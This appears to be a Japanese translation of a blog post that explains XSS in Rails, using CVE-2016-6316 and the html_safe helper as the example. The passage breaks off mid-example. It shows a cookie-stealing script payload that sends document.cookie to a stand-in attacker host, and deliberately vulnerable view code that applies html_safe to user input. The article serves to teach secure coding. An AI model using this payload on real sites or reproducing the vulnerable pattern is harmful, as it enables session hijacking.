そのパッチをRailsに当てるべきかを考える(翻訳)

こんにちは、hachi8833です。 先週のRailsウォッチで金星を取った「Do I really need to patch my Rails apps? (Understanding CVE-2016-6316)」を翻訳いたしました。 このような手順は、ベテランのフルスタックエンジニアwなら誰しも行っていることですが、ベテランにとっては当たり前のことであるだけに、このように丁寧に手順を解説してくれる記事は貴重です。また、XSS脆弱性のよい解説にもなっています。 なお、翻訳後に文章を最適化していますので、逐次的に原文と訳文が対応しているとは限りません。 また、元記事にはRailsのXSSとセキュリティのチートシートを無料でダウンロードできるフォームもあります。リンクか以下の画像をクリックしてください。 そのパッチをRailsに当てるべきかを考える 原題: Do I really need to patch my Rails apps? (Understanding CVE-2016-6316) 元記事URL: http://ducktypelabs.com/do-i-really-need-to-upgrade-my-rails-apps/ 著者: Sid KrishnanはカナダのトロントでDuck Type Labsというコンサルティングを運営する開発者です。 RubyやRailsで出されるセキュリティ勧告では、Railsアプリケーションを「常に」できるだけ早くアップグレードすることを推奨しています。 残念ながら、修正されるセキュリティ問題についての説明はわかりにくいものが多く、アップグレードが本当に必要かどうかを判断するのは簡単ではありません。 時間や工数が限られているのであれば、内容によってはアップグレードを延期し、壊れたテストの修正に余分な時間をかけない方が判断として優れていることもあります。 注:本記事における「アップグレード」は、「マイナー」アップグレードと「パッチ」のアップグレードを指します(訳注: 「メジャー」アップグレードは含んでいません)。例: Rails 4.2.5.1から4.2.7.1へのアップグレード 本記事では、Railの5.0.0.1/4.2.7.1/3.2.22.3で修正されるCVE-2016―6316を例にとって説明します。本記事のねらいは次のとおりです。 XSS脆弱性の基礎、悪用方法、脆弱性の軽減方法の解説 Rails 5.0.0.1/4.2.7.1で解決されるActionViewのXSS脆弱性[CVE-2016―6316]を題材にした個別の問題の理解の仕方の解説 アップグレードすべきかどうかを自分で判断する方法の解説 XSSの脆弱性について XSSはクロスサイトスクリプティング(cross-site scripting)の略です。 アプリケーションにXSSの脆弱性が潜んでいると、攻撃者は悪質なJavascriptをユーザーのブラウザで実行できます。次のようなJavascriptスニペットを例にとってみましょう。 var i = new Image; i.src = “http://attacker.com/” + document.cookie; 上のスニペットがユーザーのブラウザで実行されると、攻撃者が用意したattacker.comへのリクエストが作成され、ユーザーのcookieが無断で送信されます。攻撃者がcookieを入手すると、ユーザーのセッションをハイジャックして、アプリケーションの保護領域に不正にアクセスするかもしれません。 XSS脆弱性の種類 XSS脆弱性は、大きく分けて以下の3つがあります。 Reflected XSS Reflected XSS脆弱性は、Webアプリケーションへのリクエストに含まれるユーザー入力が即座にレスポンスに反映されるときに発生します。 Reflected XSSの脆弱性を悪用するには、リクエストを行うすべてのユーザーに反映される埋め込みJavaScriptを書き、それを含むリクエストURLを巧妙に作成します。 Stored XSS あるユーザー(攻撃者)が送信したデータがアプリケーションに格納され、適切にサニタイズされずに他のユーザーに表示されると、Stored XSS脆弱性が発生します。 DOMベースXSS DOMベースXSS脆弱性は、リクエストのURLやレスポンスのHTML(DOM経由でアクセス可能)に含まれるデータをクライアント側のJavascriptで抽出して、ページのコンテンツを動的に更新するときに発生します。 DOMベースXSSの脆弱性を悪用するには、クライアント側のJavaScriptから悪質なJavaScriptをDOMに挿入して実行させる能力のある埋め込みJavaScriptを書き、それを含むリクエストURLを巧妙に作成します。 3種類のXSSについて、詳しくはOWASPの該当ページ(英語)をお読みください この記事では、2番目のStored XSSに絞って解説します。 Stored XSS脆弱性を利用して攻撃する方法 こうした脆弱性がどのように発生する可能性があり、攻撃者がその脆弱性をどのようにして利用する可能性があるかを示す例を、ここで考えてみましょう。 脆弱なRailsアプリ ユーザーアカウントと管理者アカウントのある、ごく普通のRailsアプリケーションを考えてみましょう。 1件のユーザーレコードには、name、email、introductionの3つのフィールドがあるとします。各ユーザーには、これらの情報が表示されるプロファイルページがあります。 このシステムの管理者は、個別ユーザーのプロファイルページのほかに、全ユーザーの情報を表示できる/users/ページにもアクセスできます。そのページのビューの冒頭で次のコードが使われているとします。 <% #This is accessible only to admins %> <% User.all.each do |user| %> <%= user.name %> <%= user.email %> <%= user.introduction %> <% end %> さて、ユーザが自己紹介文をHTMLで書けるように改修することが決まったとします。自己紹介(introduction)フィールドに”I’m awesome!!”と書く代わりに”I’m <strong>awesome!!</strong>”と書けるようにするわけです。 そこで(ついうっかり)html_safeヘルパーを使ってuser.introductionをuser.introduction.html_safeに変更しましたとしましょう。ユーザーがHTML形式のテキストを送信すると、見事HTMLビューが表示されます。うまくいったように見えます。 攻撃者はこうやって攻略する 上のようなHTMLレンダリングは、攻撃者によって悪用されます。攻撃者がintroductionフィールドに次の文字列を入力したとします。 I am awesome!! <script> var i = new Image; i.src = “http://attacker.com/” + document.cookie; </script> 上の文字列がデータベースに格納されてしまったら最後、管理者がログインして/usersページを表示した瞬間、上のスクリプトが実行され、管理者のcookieが攻撃者のサーバー(attacker.com)のログに記録されてしまうでしょう。 管理者のcookieを盗み出してしまえば、攻撃者が管理者としてログインする可能性はもちろん、もっと悪辣なことをしでかす可能性すらあります。 html_safeで脆弱性を呼び込んでしまう別の例 上では、html_safeによってXSSの脆弱性が呼び込まれる簡単な例を紹介しました。ユーザーが入力を自由にカスタマイズできるようにしたかったばかりに、ユーザー入力にhtml_safeをストレートに適用してしまったのでした。 html_safeによって呼び込まれてしまうXSS脆弱性の例をもうひとつご紹介しましょう。今度は、ユーザーが入力した文字列にスタイルを適用したいとします。先ほどのRailsアプリの/usersページで、今度はFont Awesomeをインストールし、それを使って管理者がユーザーのプロファイルページ上のリンクにスタイルを追加できるようにします。ビューのコードは以下のような感じになるでしょう。 <% User.all.each do |user| %> <%= link_to “<i class=’fa fa-user’></i> #{user.name}”.html_safe, users_profile_path(user) %> <%= user.email %> <%= user.introduction %> <% end %> 前述の例と同様、このコードも管理者のアカウントをXSS攻撃にさらすことになります。 攻撃者がnameフィールドにJavaScriptを書いて送信すれば、管理者アカウントにアクセスできてしまう可能性があります。 アプリを危険にさらさずにhtml_safeを使うには html_safeはアサーションであるため、html_safeを「信頼できない文字列」に適用しないことが重要です。html_safeの文字列とhtml_safeでない文字列を連結することはできますが、その場合はhtml_safeでない文字列が確実にエスケープされるよう注意する必要があります。 <%= link_to “<i class=’fa fa-user’></i> “.html_safe + “#{user.name}”, users_profile_path(user) %> 上のコードであればuser.nameは適切にエスケープされます。これなら、仮に”Bob Foo<script>alert(document.cookie)</script>のような文字列がnameフィールドに入力されても、以下のように期待どおりエスケープされます。 <a href=’…’><i class=’fa … Continue reading そのパッチをRailsに当てるべきかを考える(翻訳)